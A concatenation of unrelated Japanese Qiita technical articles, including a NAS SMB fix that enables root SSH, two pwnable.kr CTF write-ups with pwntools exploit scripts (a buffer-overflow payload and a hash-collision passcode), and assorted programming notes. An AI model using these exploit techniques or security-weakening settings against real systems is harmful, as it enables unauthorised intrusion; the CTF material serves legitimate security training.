OmniAICreator/Qiita-1.07M huggingface dataset:
LinkStationのSMB1接続不可エラーの対処方法

■トラブル内容
　Windows10のバージョンアップでSMB1プロトコルが無効になるので、
　SMB1しかサポートしていない古いNAS（LinkStation、TeraStation）に
　そのままでは接続できなくなる。

■ネット上の対処方法
　・SMB1を有効化するという時代錯誤な方法（ランサムウェア入り放題）
　・PC側でゲストログオンを有効にする（これだけでは繋がらない）
　・NAS側でゲストログオンを無効にする（具体的な方法が書いてない）

■各種記事の組み合わせで見つけた方法
　NASにsshで入れるように設定し、sshでsamba設定をsamba2にする。

　１．NASにsshで入れるように設定（rootも取得）
　　<a rel="noopener" target="_blank" href="https://github.com/Stonie/acp-commander">acp_commander</a>を使用。GitHubからダウンロード可能。
　　ダウンロードしたら適当な場所に配置（今回はC:\Temp）。

　　acp_commanderはJavaのコマンドラインツールなので、PCにJava（JDK・JRE）
　　をインストールしておく。

　　<a rel="noopener" target="_blank" href="https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html">Oracle公式サイト</a>
　　からJDKをダウンロードしてインストール。

　　インストール後は、Javaをインストールしたフォルダのbinフォルダ
　　「C:\Program Files\Java\jdk1.8.0_231\bin」にPATHを通しておく。

　　PATHを通す手順については、こちらの記事を参考。<a href="https://itlogs.net/windows-10-path/" title="Windows 10でPATHを通す設定手順と仕組み・便利な使い方・whereコマンドを解説" >
Windows 10でPATHを通す設定手順と仕組み・便利な使い方・whereコマンドを解説
</a>

　２．一時的にファイヤーウォールを無効にする。
　３．管理者権限のPowershellで下記を実行

```posh
$IP="LinkStationのIPアドレス"
$Admin_PW="adminのパスワード"
$ROOT_PW="rootに設定するパスワード"
 
java -jar C:¥Temp¥acp_commander.jar -t $IP -ip $IP -pw $Admin_PW -c "(echo $ROOT_PW ; echo $ROOT_PW) | passwd"
java -jar C:¥Temp¥acp_commander.jar -t $IP -ip $IP -pw $Admin_PW -c "sed -i 's/UsePAM yes/UsePAM no/g' /etc/sshd_config"
java -jar C:¥Temp¥acp_commander.jar -t $IP -ip $IP -pw $Admin_PW -c "sed -i 's/PermitRootLogin no/PermitRootLogin yes/g' /etc/sshd_config"
java -jar C:¥Temp¥acp_commander.jar -t $IP -ip $IP -pw $Admin_PW -c "/etc/init.d/sshd.sh restart"
```

　４．ファイアウォールを有効に戻す。
　５．管理者権限のコマンドプロンプトで下記を実行、rootのパスワードを入力。

```cmd
ssh root@LinkStationのIPアドレス
```

　６．sshのrootユーザーでLinkStationに入れるので、下記を実行。

```cmd
cd /etc/samba
cat smb.conf
vi smb.conf
```

　７．ｖｉ編集画面になるので下記の通り編集、保存。ｖｉの使い方は下記参照。
　　<a rel="noopener" target="_blank" href="https://prev.net-newbie.com/linux/commands/vi.html">ｖｉエディタの使い方</a>

```text
[global]
         max protocol = SMB2
         security = user
         map to guest = Bad User
```

　８．場合によっては下記も対応（ゲストログオンを有効にする）する。
　　①キーボードの［Windows］キーと［R］キーを同時に押して
　　［ファイル名を指定して実行］画面を起動する。
　　②名前欄に「gpedit.msc」と入力して［OK］をクリックし、
　　「グループポリシーの編集」を開く。
　　③［コンピューターの構成］→［管理用テンプレート］→［ネットワーク］→
　　　［Lanman ワークステーション］を開く。
　　④［安全でないゲストログオンを有効にする］をダブルクリックする。
　　⑤［有効］を選び、［OK］をクリックする。
　　⑥OSを再起動。

■ネタ元
BUFFALO NAS TeraStationをacp_commanderでroot取得・SSH接続
　https://itlogs.net/buffalo-terastation-acp-commander/

LinkStation に ssh で root ログインできるようにする
　http://www.maruko2.com/mw/LinkStation_%E3%81%AB_ssh_%E3%81%A7_root_%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3%E3%81%A7%E3%81%8D%E3%82%8B%E3%82%88%E3%81%86%E3%81%AB%E3%81%99%E3%82%8B

CentOS6のSambaでSMB2を有効にしてパスなし参照フォルダを設定した手順
　https://qiita.com/Morihaya/items/48ada7ffd99a88e5f2c6
Pwnable.kr-[bof] writeup

>Nana told me that buffer overflow is one of the most common software >vulnerability. 
>Is that true?
>
>Download : http://pwnable.kr/bin/bof
>Download : http://pwnable.kr/bin/bof.c
>
>Running at : nc pwnable.kr 9000

wgetでダウンロードするとbof,bof.cが入っています。

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}
```

スタック上部にoverflowme[32]がありその下にkeyがあるから32バイト以上のデータをoverflowmeに書き込んでkeyを0xdeadbeefに書き換えろ、というものですね。
gdbを使ってoverflowmeとkeyの具体的な位置関係を調べます。

```
(gdb) disas func
Dump of assembler code for function func:
   0x0000062c <+0>:	push   %ebp
   0x0000062d <+1>:	mov    %esp,%ebp
   0x0000062f <+3>:	sub    $0x48,%esp
   0x00000632 <+6>:	mov    %gs:0x14,%eax
   0x00000638 <+12>:	mov    %eax,-0xc(%ebp)
   0x0000063b <+15>:	xor    %eax,%eax
   0x0000063d <+17>:	movl   $0x78c,(%esp)
   0x00000644 <+24>:	call   0x645 <func+25>
   0x00000649 <+29>:	lea    -0x2c(%ebp),%eax
   0x0000064c <+32>:	mov    %eax,(%esp)
   0x0000064f <+35>:	call   0x650 <func+36>
   0x00000654 <+40>:	cmpl   $0xcafebabe,0x8(%ebp)
   0x0000065b <+47>:	jne    0x66b <func+63>
   0x0000065d <+49>:	movl   $0x79b,(%esp)
   0x00000664 <+56>:	call   0x665 <func+57>
   0x00000669 <+61>:	jmp    0x677 <func+75>
   0x0000066b <+63>:	movl   $0x7a3,(%esp)
   0x00000672 <+70>:	call   0x673 <func+71>
   0x00000677 <+75>:	mov    -0xc(%ebp),%eax
   0x0000067a <+78>:	xor    %gs:0x14,%eax
   0x00000681 <+85>:	je     0x688 <func+92>
   0x00000683 <+87>:	call   0x684 <func+88>
   0x00000688 <+92>:	leave  
   0x00000689 <+93>:	ret    
End of assembler dump.
```

jne命令の前にcallが２つありますね、これが順にprintfとgetsだと思われます。
となるとoverflowmeのアドレスはebp-0x2cのはずです。
なぜならgets()の直前の*func+29,*func+32で、esp,つまりスタックの最上位アドレスに-0x2c(%ebp)を格納していることがgets()に引数を渡していることを意味していて、この場合それがoverflowmeだからです。
また、*func+40を見るとkeyが0x8(%ebp)にあることは明白です。
よって、overflowmeとkeyのオフセットは 0x2c+0x8　なので "A"*(0x2c + 0x8) + "\xbe\xba\xfe\xca"　を入力します。

```
$ cat bof_pwn.py
from pwn import *

payload = "A"*52 + "\xbe\xba\xfe\xca"
r = remote("pwnable.kr", 9000)
sleep(1)
r.sendline(payload.encode('utf-8','replace'))
print(r.recv())
```
Pwnable.kr-[collision] writeup

>Daddy told me about cool MD5 hash collision today.
>I wanna do something like that too!
>
>ssh col@pwnable.kr -p2222 (pw:guest)

```
col@pwnable:~$ ls -l
total 16
-r-sr-x--- 1 col_pwn col     7341 Jun 11  2014 col
-rw-r--r-- 1 root    root     555 Jun 12  2014 col.c
-r--r----- 1 col_pwn col_pwn   52 Jun 11  2014 flag
col@pwnable:~$ cat col.c
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}
```

コマンドラインからの２０バイトの引数を５つの４バイトの整数として分け、その和が0x21dd09ecとなるようにします。

```
from pwn import *
frag = (0x21dd09ec + 1) // 5
payload = frag.to_bytes(4,'little')*4
payload += (frag-1).to_bytes(4,'little')

s1 = ssh(host='pwnable.kr', user='col',password='guest', port=2222)
r1 = s1.process(executable='./col', argv=['fd', payload])
print(r1.recv())
s1.close()
```
```
$ python3 collision_pwn.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] col@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Starting remote process './col' on pwnable.kr: pid 66019
b'daddy! I just managed to create a hash collision :)\n'
[*] Closed connection to 'pwnable.kr'
```
peeweeで全文検索を行った話(MySQL)

#Peeweeとは
peeweeはPython用のORMです。
扱えるデータベースが豊富で利点も多いですがなにぶん公式ドキュメント以外の参考資料が少ない印象です

- 参考資料
 - [PythonのORMのPeeweeを使ってデータベースを操作してみる(2019年8月版)](https://qiita.com/mima_ita/items/9d4e1d0afac1865acdbb)
 - [公式ドキュメント](http://docs.peewee-orm.com/en/latest/)


#Peeweeで全文検索をやってみたい
現在関わっているプロジェクトであいまい検索を行いたいとの話が出てきた為、peeweeの資料を読み漁って
やり方を探してみましたが、いまいちわかりずらいです。
その為、googleで探してみたところ以下のブランチが見つかりました。
https://github.com/coleifer/peewee/issues/1955

#環境
  - peewee:3.14.2
  - python3.8

#参考ブランチを元に全文検索を行ってみる

https://blog.kozakana.net/2018/05/mysql-fulltext-search-by-ngram/

全文検索を行うにはまず既存のDBのテーブル変更を行う必要がありそうです

```
ALTER TABLE TESTDB.staff add FULLTEXT (user_name) WITH PARSER ngram;
```
※おそらくpeeweeのModel設定を変更し、反映した方が良さそうですがやり方を調べても見つからなかったため今回は
直接変更を行っています


```
query = TESTDB.select().where(Match(TESTDB.user_name,name))

def Match(columns, expr, modifier=None):
    """
    Match

    Parameters
    ----------
    columns : peewee_obj(検索対象のフィールド) 
              list,tupleでの複数指定可能
    expr : str(検索文字列)
    modifier : str(修飾子)

    Returns
    -------
       NodeList (where条件)
    """
    if isinstance(columns, (list, tuple)):
        match = peewee.fn.MATCH(*columns)  # Tuple of one or more columns / fields.
    else:
        match = peewee.fn.MATCH(columns)  # Single column / field.
    args = expr if modifier is None else peewee.NodeList((expr, SQL(modifier)))
    return peewee.NodeList((match, peewee.fn.AGAINST(args)))
```
上記にて検索を行ったところうまく```あいまい検索```にて取得することが取得することができました。


#注意事項
上記の方法で```あいまい検索を```行う場合ですが、一文字でのあいまい検索はできません

 - 例：検索できる：   　検索対象：あいうえお ⇨ 検索文字：あい/いう/うえ/えお
 - 　　検索できない ： 検索対象：あいうえお ⇨ 検索文字：あ/い/う/え/お ⇨ 0件で返却される
composer installでエラーが出た

## 〜宣伝〜

:::note info
個人開発でエンジニア専門マッチングサービスを開発しましたので、是非未経験からエンジニア目指している人！現役エンジニアで教えたい人！使ってみてください！
:::
https://dokupro.dev/

# 目的

- `$ composer install`を実行したところext-zipのバージョンのエラーが出たので解決までの道のりをメモ的にまとめてみた

# すみません

- 諸事情によりDockerファイルの詳細とlaravelアプリのソース内容はお見せする事ができない。

# 情報

1. Dockerにて環境構築をしてアプリ名ディレクトリに入り`$ composer install`を実行した。

# 解決までの経緯

1. まず`$ composer install`を実行したときの出力を下記に記載する。

    ```terminal
    $ composer install
    >Installing dependencies from lock file (including require-dev)
    >Verifying lock file contents can be installed on current platform.
    >Your lock file does not contain a compatible set of packages. Please run composer update.
    >
    >  Problem 1
    >    - Root composer.json requires PHP extension ext-zip ^1.19 but it has the wrong version (1.15.6) installed. Install or enable PHP's zip extension.
    ・
    ・
    ・
    ```

1. 和訳してみた。

    ```
    >ロックファイルからの依存関係のインストール（require-devを含む）
    >ロックファイルの内容の確認は、現在のプラットフォームにインストールできます。
    >ロックファイルに互換性のあるパッケージのセットが含まれていません。 Composerアップデートを実行してください。
    >
    >問題1
    >-ルートcomposer.jsonにはPHP拡張子ext-zip ^ 1.19が必要ですが、間違ったバージョン（1.15.6）がインストールされています。 PHPのzip拡張機能をインストールまたは有効にします。
    ```

1. 「Composerアップデートを実行してください。」と言われているので。実行してみる。

    ```terminal
    $ composer update
    >Loading composer repositories with package information
    >Updating dependencies
    >Your requirements could not be resolved to an installable set of packages.
    >
    >  Problem 1
    >    - Root composer.json requires PHP extension ext-zip ^1.19 but it has the wrong version (1.15.6) installed. Install or enable PHP's zip extension.
    ```

1. 和訳してみた。

    ```
    >パッケージ情報を含むComposerリポジトリのロード
    >依存関係の更新
    >要件をインストール可能なパッケージのセットに解決できませんでした。
    >
    >問題1
    >-ルートcomposer.jsonにはPHP拡張子ext-zip ^ 1.19が必要ですが、間違ったバージョン（1.15.6）がインストールされています。 PHPのzip拡張機能をインストールまたは有効にします。
    ```

1. 結局解決しない
1. 一人では解決できないと判断し先輩に助けを求めた。
1. libzip-develというパッケージをPHPのコンテナにyumで手動インストールし、`$ composer install`を実行したところ問題は解決した。
【GAS】Chatworkの自分が参加しているグループチャット一覧を出力する

※投稿内容は個人の学習目的の記事であり、所属組織とは一切関係ありません。
　Chatwork公式ドキュメントではございませんので、自己責任でご利用ください。

こんにちわ、さかぐち（[@sakaguchi_mamii](https://twitter.com/sakaguchi_mamii)）です。

今回は、Chatworkの自分が参加しているグループチャットの一覧をスプレットシートに出力する方法をご紹介します。

#APIトークンを取得する

右上のメニューから「API設定」を選択する。
<img width="210" alt="API設定.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136275/4ef9404f-037d-c32d-0db9-0109164b6be5.png">

パスワードを入力し、APIトークンを取得する。
<img width="978" alt="スクリーンショット 2020-04-29 20.30.31.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136275/b8b05005-c099-bfc5-e43a-1138192bac9b.png">

#スプレットシートを作成し以下を設定する

##シート名を「グループチャット一覧」に変更

<img width="400" alt="グループチャット一覧.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136275/3d3ed092-d0a4-8a42-3a6e-0d08bc72eb6c.png">

##見出しをつける

<img width="600" alt="スプレットシートに見出しをつける.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136275/f9b592aa-d68b-df39-c09b-432a36bd238e.png">

１行目に以下の見出しを入力してください。

* ルームID
* チャット名	
* カテゴリー

#「スクリプトエディタ」を開く

<img width="600" alt="「スクリプトエディタ」を開く.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136275/866e59a3-d8bd-aab9-6f15-50b410f0c712.png">

#スクリプト

```javascript
const token = 'ここにAPIトークン';

function myFunction() {

  // スプレットシート読み込み
  const ss = SpreadsheetApp.getActiveSpreadsheet();
  const sheet_rooms = ss.getSheetByName('グループチャット一覧');

  // グループチャット一覧取得
  var options = {
    headers : {'X-ChatWorkToken' : token},
    method : 'get',
  };
  var url = 'https://api.chatwork.com/v2/rooms';
  var respons = UrlFetchApp.fetch(url, options); 
  var json = JSON.parse(respons);

  // スプレットシート出力
  sheet_rooms.getRange(2,1,5000,3).clearContent(); // 既存データクリア
  var sheet_row = sheet_rooms.getLastRow()+1;
  for(var j=0; j<json.length; j++){
    sheet_rooms.getRange(sheet_row,1).setValue(json[j]['room_id']);
    sheet_rooms.getRange(sheet_row,2).setValue(json[j]['name']);
    sheet_rooms.getRange(sheet_row,3).setValue(json[j]['type']);
    sheet_row++;
  }
}
```

#スクリプトを実行

![スクリーンショット_2021-03-31_16_01_32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136275/33dc8891-8001-5d9c-1732-f5d2a1d0db50.png)

できた！

![スクリーンショット_2021-03-31_13_56_10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136275/0cc3a308-ac5c-f7bd-cd08-e4f2fa7d4775.png)

#最後に

今回はChatworkの自分のチャット一覧の取得APIを実行しました。
詳細は「[Chatwork APIドキュメント](https://developer.chatwork.com/ja/endpoint_rooms.html#GET-rooms)」を参照ください。
【ざっくり】Python のバージョン1 UUID生成の仕様がドキュメントと異なる

# サマリー

## 問題

Python 3.9.2 において、UUID バージョン1 を生成する関数 `uuid.uuid1(node=None, clock_seq=None)` は、`clock_seq` が与えられない場合はランダムに14ビットのシーケンス番号が選ばれる、と公式ドキュメントには書かれている。しかし、実際に複数回生成してみると、シーケンス番号が同一となる。

どうすればドキュメント通りに生成できるか。

## 解決方法

**`uuid.uuid1(node=uuid.getnode())` とすればドキュメント通りに振る舞う。**

# 参考文献

- Python 3.9.2 ドキュメント > Python 標準ライブラリ > uuid: https://docs.python.org/ja/3/library/uuid.html#uuid.uuid1
- Wikipedia. UUID: https://ja.wikipedia.org/wiki/UUID

# 実験環境

- macOS Big Sur, バージョン 11.12.1
- Python 3.9.2: `anyenv` の `pyenv` プラグインでインストール。

# 調査結果

ネットで検索した結果 (すみません URL 失念しました) によると、

- `node is None` の場合は (glibc か何かの？) **システム関数が呼ばれる** らしい。この場合、少なくとも一定の時間内の複数回生成では、ある決まったシーケンス番号が返ってくる。
- `node` に値が割り当てられている場合は **Python による実装が呼ばれる。**この場合は呼び出し毎にランダムなシーケンス番号が生成されているように見える。

`node` を省略した場合のデフォルト値は `uuid.getnode()` なので、**`uuid.uuid1(node=uuid.getnode())` とすればドキュメント通りに振る舞う。**

以上
[Android]setContentViewのエラー

<h1>setContentViewのエラー</h1>
<p>何かの弾みで出てきたsetContentViewのエラー</p>
![1FA7A903-A340-4B06-A118-3C263638BAF2_4_5005_c.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/663065/c53c34c3-65dd-b3f0-bfbd-2bfb708cdc45.jpeg)
<p>いつからエラーなっていた</p>
<p>どうやって直したか</p>

![C511D71C-F03C-44DC-95FC-BBD2127E4F99_4_5005_c.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/663065/cea8f185-10a9-6d0c-a990-3c006b0292bd.jpeg)

<p>ここの　import android.R を消したら治りました</p>

<p>自分の場合だったらjavaの記事をコピペし、</p>
<p>kotlinに自動変換中にインポートされたとのが原因だと思います</p>
<p>こいつのお陰で３０分も失いました</p>
Spring BootのアプリをHerokuをデプロイするやり方

Spring BootのアプリをHerokuにデプロイするだけなのですが、想像以上に詰まりまくって大変だったので、メモがてら残しておきたいと思います。

###環境
・Java 1.8
・SpringBoot 2.4.4

###手順
1. [Spring Initilizer](https://start.spring.io/)でテンプレートからSpring Bootアプリを作成。
2. Mainメソッドのクラスを以下のように修正。

ポイントは、`SpringBootServletInitializer `を継承し、`configureメソッド`をオーバーライドする点だけ。

```main.java
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;

@Configuration
@ComponentScan
@EnableAutoConfiguration
@SpringBootApplication
public class SpringmemoApplication extends SpringBootServletInitializer {

	public static void main(String[] args) {
		SpringApplication.run(SpringmemoApplication.class, args);
	}

	@Override
	protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
		return application.sources(SpringmemoApplication.class);
	}
}
```
Mavenでビルドし(プロジェクトのルートディレクトリで`maven package`コマンドを叩くだけ)

ビルドしたwarファイル(デフォルトだとjarファイルになっていますが、`pom.xml`でwarファイルへのビルドに変更しています)をherokuへアップロードするだけです。

herokuへSpring Bootアプリをデプロイするときのやり方をググると色々な設定方法が出てくるのですが、正直私の場合これだけでherokuへは問題なくデプロイできました。

heroku側の設定や、`pom.xml`へ色々と設定をする必要も特にありませんでした。
Windows10でコントロールパネルを表示する方法はどれが一番早いのか？


こういう記事を見るような人なら誰でも一度は使ったことがあるであろうコントロールパネル。
このコントロールパネルだが、Windows7ではスタートを押すとワンクリックですぐに開くことができたのだ。

しかし、そのコントロールパネルがWindows10では、スタートを開いても存在していない。
下までスクロールをしていき、『Windowsシステムツール』を開いて、やっと押せるというあんまりにもあんまりな仕打ちを受けている。

そこで今回は、<b>コントロールパネルを簡単に開く方法</b>を自分なりに検証していきたいと思う。

ちなみに「ショートカットを作成しろよ」と思う人もいるだろうが、世の中そんな簡単ではない。
クライアントのパソコンの場合など、ショートカットを勝手に作成できない時もあるものだ。
『最初にショートカットを作成して最後に削除する。』その動作すらも面倒くさいと思うタイプの人々も世の中に存在することを理解していただきたい。~~ショートカットを作ったら消し忘れとかもあるし……？~~

<font color="Red">※なお、エクスプローラーやコントロールパネルなどのショートカットがデスクトップ、タスクバー、スタートに存在しないものとして扱います。(起動する場合はショートカットキーなどで起動します)</font>


***

>ファイル名で直接指定して実行する

まずは厳格な方法から。
~~ちょっとめんどくさい。~~
<ol>
<li>『Win+R』またはスタートを右クリックしてファイル名を指定して実行を起動する。
<li>『control』と入力しEnterを押す。
</ol>
そんなにやることは多くない印象を受けるが実際やってみるとめんどくさいタイプ。
何度もコントロールパネルを開く時とかはこれでもまだ手数が多く感じたりする。
controlとフルに打たないといけないところが大きいかもしれない。

***

>コルタナで検索する

ファイル名を直接指定からの応用。通常の検索ならば部分一致で検索してくれる。
これならcontrolとフルに打つ必要がなくなる。
<ol>
<li>『Win』を入力する。
<li>『cont』と入力しEnterを押す。
</ol>
今キーボードに手が置かれているならこれが最速かもしれない。キーボードのみで操作できるのが大きい。
ちなみに『con』でも起動するが、パソコンによっては『System Configuration』が起動するため『cont』とした。
(これでも何かのソフトにコントロールパネルが付随している場合はそっちが起動したりするけど……)
やっぱり直接指定するよりは精度は落ちるかもしれないが、毎回開くならこれでいいのではないかと思う。
高頻度でコントロールパネルを開くパソコンなら『co』でも開ける。ここまでくるとWindows7と同等くらいの開きやすさなのではないだろうか。

***

>エクスプローラーのアドレスバーで指定する

実際これをやるならファイル名を直接指定すればいいのではないかと思うけど一応

<ol>
<li>『Win+E』またはスタートを右クリックしてエクスプローラーを起動する。
<li>『Alt+D』またはアドレスバーを直接左クリックして『control』と入力する。
</ol>
~~どう考えても直接指定したほうが手数が少ない。~~

ちなみにこの方法でコントロールパネルを開くと、コントロールパネルがあるファイルの絶対アドレスがアドレスバーに残る。
普通にCドライブにOSを入れている場合は、_C:\Windows\System32\control.exe_とかなんじゃないかな。

***

>PCのプロパティから開く

システムの情報表示がコントロールパネル内であることを利用してみた。

<ol>
<li>『Win+E』またはスタートを右クリックしてエクスプローラーを起動する。
<li>ナビゲーションウィンドウにある『PC』を右クリックし、プロパティを選択する。
<li>コントロールパネルのアドレスバーから、コントロールパネルトップを選択する。
</ol>

ファイル名を直接指定するどころか、Windowsシステムツールから開くよりも遅い。

***

>Windowsの設定から開く

コントロールパネルから設定に機能が切り替わっていってるとは言っても、設定からコントロールパネルが開くリンクが何か所か存在する。その中で一番開きやすいであろうと思われるやつを利用してやろう、的な？

<ol>
<li>通知領域のネットワークで右クリックし、『ネットワークとインターネットの設定を開く』を選択する。
<li>『アダプターのオプションを変更する』を選択する。
<li>コントロールパネルのアドレスバーから、コントロールパネルトップを選択する。
</ol>

マウスだけで開けるのは大きい。ただ早いのかは微妙なところ……。

***

以上、いくつか挙げてみたけれども、体感で一番早いのは『Win』→『cont』で開く方法かな、といった感じ。キーボードだけでパパっとできちゃうところが早いのかな。
まあでも結局、作れない理由がないならどこかしらにコントロールパネルのショートカット作るのが一番早いんだけどね。
半年使ったRyzen7 3700Xの感想

#Ryzen7 3700Xを半年使ってみた
去年夏に自作したPC [RYZEN7＋RADEONでPC組んでみた](https://qiita.com/susumu_taka/items/06a1f26f6f75d7c9d3c0) を半年使い込んでみた。

使用用途は主に開発作業で、作業中は様々なバックプロセスが動く。
ベースとなるWindowsのサービス、各種ドライバーに加えIDE環境、ExcelやPDFの仕様書を見ながら組んだりもするし、当然httpdやMysqlなどのプロセスも動く。また、ネットサーフィン用のブラウザなども併用するので、求められるCPUの条件としては当然「マルチスコア」を優先することになるので、Ryzenを選ぶのは道理にかなっている。

加えて、自宅で作業を行う技術者にとってはTDPも気になる所。

#PC環境のおさらい

　CPU:Ryzen 7 3700X
　マザーボード：B550 Steel Legend
　メモリー：Trident Z RGB F4-3200C16D-16GTZRX
　グラボ：Radeon RX 5500 XT Challenger D 8G OC
　SSD：FireCuda520SSD 500GB
　電源：SST-ST75F-GS V3
　ケース：H510 CA-H510B-W1 （マットホワイト）
![20210329_005811009_iOS.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100025/bfc946d7-eb99-fc96-b65d-df806779854e.jpeg)



#作業中のリソース
普段作業を行う状態で各理リソースの使用状況を拾ってみたが、CPUリソースの使用率の低さには何時もビックリする！
この状態、実はサブモニターでVLCメディアプレーヤーを起動し、重めの動画を流している。

CPUリソースに余裕があるので出来る事の１つ
![cpu_tmp.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100025/c6923139-5694-5d13-02c9-be9b6afa9f7a.png)


CPU使用率が低いので、当然CPUの温度も低い
![cpu_tmp.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100025/bf72d0aa-03dc-a5a5-af15-2929837ef332.png)

#純正クーラーも凄かった！
実は組んだPCには1点問題があり、フロントファンに採用した「Enermax T.B.RGB 14cmファン」が壊れていた。
使用数ヶ月で異音が発生する様になり、「静かになったな・・・」と思ってたらファンが回っていなかった。
指で回すとファンが回りだすので、最初のうちはケースを開けてファンを指で回していたが、面倒になり放置していた。
※このファンのレビューを見ていたら、「稀によくある事」らしい・・・

フロントからのエアフローが無い状態で作業をしていたので、「CPUが冷やせているか？」という疑問があったが、純正ファン「AMD Wraith Prism」はこの状態でもCPUをしっかり冷やしていた。
試しに、フロントファンが止まった状態で「CINNEBENCH R23」を回して温度を見てみた。
![cpu_befor.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100025/a1c28ada-79cd-a8d0-5b38-8a5ca68fe54a.png)

半年使用したファンは結構ホコリがついていたが、冷却的効果はまだまだ余裕ありそうな感じ
おそるべし、純正ファン！
![20210329_045935947_iOS.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100025/b58ee074-c269-b599-2ebc-2624df3cefc5.jpeg)

この記事を書くにあたり、いい機会なので簡易水冷に交換して温度の測定を行ってみた
簡易水冷に変えるにあたり、上部と背面のファンもついでに交換する事にした
![20210329_010617096_iOS.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100025/520b08a1-a08a-6ffa-4802-025047e07f98.jpeg)

簡易水冷換装後
![20210329_044626904_iOS.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100025/40d40e74-58e0-629a-a879-904c0b5a2878.jpeg)

「CINNEBENCH R23」を回して温度を見てみる
あれ？水冷の方が冷えてない？？？
よく見ると、各コアのベースが引き上げられているので、一応効果出てるのかな？
![cpu_after.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100025/6d42636f-61cf-3f78-aa64-1c573a9abbb6.png)

#総評
Ryzenを使用する限り、CPUがボトルネックになる事はまず無い。
使用電力も低いので、テレワークで使用しても「電気代が・・・！」となる事もないのはかなりポイントが高い
くしくも、Intel CPUの第11世代　Rocket Lakeがバカみたいに電力を食う事が分かった今となっては、あえてIntelを選ぶという選択肢は・・・


無いよね
![20210329_023012350_iOS.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100025/b6e4f7b3-c5b4-bacc-dab0-ecac4a7cb6bf.jpeg)
Bladeは静的サイトじゃない

普段vueを触っていて、Bladeで作る、となったとき、bladeって静的サイトだっけ?動的アプリだっけ?
とごっちゃになったのでまとめる

# システムの種類

- 静的サイト
- 動的アプリ
    - MPA　ex Blade
    - SPA　ex Vue

## 基本的なシステム構成

DBサーバー、Appサーバー、Webサーバー、の3層構造をとる。

- DBサーバー　 DBが入っていて、Appサーバーにデータを渡す
- Appサーバー　受け取ったデータを整形してページにはめ込み、Webサーバーに渡す
- Webサーバー　受け取ったページを、クライアントに渡す

## 静的サイトと動的アプリの違い
いわゆるHPとアプリの違い。
静的サイトは、WEbサーバーとAppサーバーだけ。
DBがないので、同じアドレスを開くと、いつも同じ画面が出てくる。

一方、動的アプリは、DBサーバーのデータを使っている。
なので、同じアドレスでも出てくる情報が違うことがある。

## 動的アプリ(MPA)と動的アプリ(SPA)の違い。
まず、両方ともDBは使っている。
しかし、
- MPAは、データとページをセットで送る
- SPAは、最初にページ(withデータ)を送り、そのあとはデータだけ送る
点が違う。

つまり、SPAの場合、クライアントからの窓口が、
1. WEBサーバー => Appサーバー =>　DBサーバー
2. APIサーバー => DBサーバー

の二通りのルートがあるので、気をつける必要がある。
1はMPAとやっていることは同じ。

### Bladeはどっちだ

Bladeは、DBを使っているので、動的アプリ。さらに、ページとデータは常にセットで送られてくるのでMPA。
【Windows】AD参加用スクリプト【bat】

PCキッティングであまりにも作業台数が多かったので作りました。
内容としてはドメイン参加→再起動までになります。

このスクリプトはドメインへ参加させるための管理者権限が必要になります。
それ専用のユーザとポリシーや権限とか設計すれば運用でもかなり使えそうです。

```cmd:ドメイン参加バッチ
@Echo off
REM ===========================================================
REM 製作者：海里
REM Version：1.0β

REM 内容：ActiveDirectory(ドメイン)参加用スクリプト
REM ===========================================================
REM 変数========================================================
REM ドメイン情報
set DomainName=Exsample.local

REM ドメイン管理者情報
set DAUN=XXXXXXXX
set DAUP=XXXXXXXX
REM DAUN：ドメイン管理者ユーザ情報
REM　DAUP：ドメイン管理者パスワード情報
REM ===========================================================

REM ドメイン参加
wmic ComputerSystem WHERE "name='%COMPUTERNAME%'" CALL JoinDomainOrWorkgroup Name='%DomainName%' Username='%DAUN%' Password='%DAUP%' AccountOU='OU=Computers;DC=Exsample;DC=local' FJoinOptions=3

REM エラーの確認
echo %ERRORLEVEL%

timeout /t 5 /nobreak

REM 再起動処理
shutdown.exe /r /t 0

exit
```
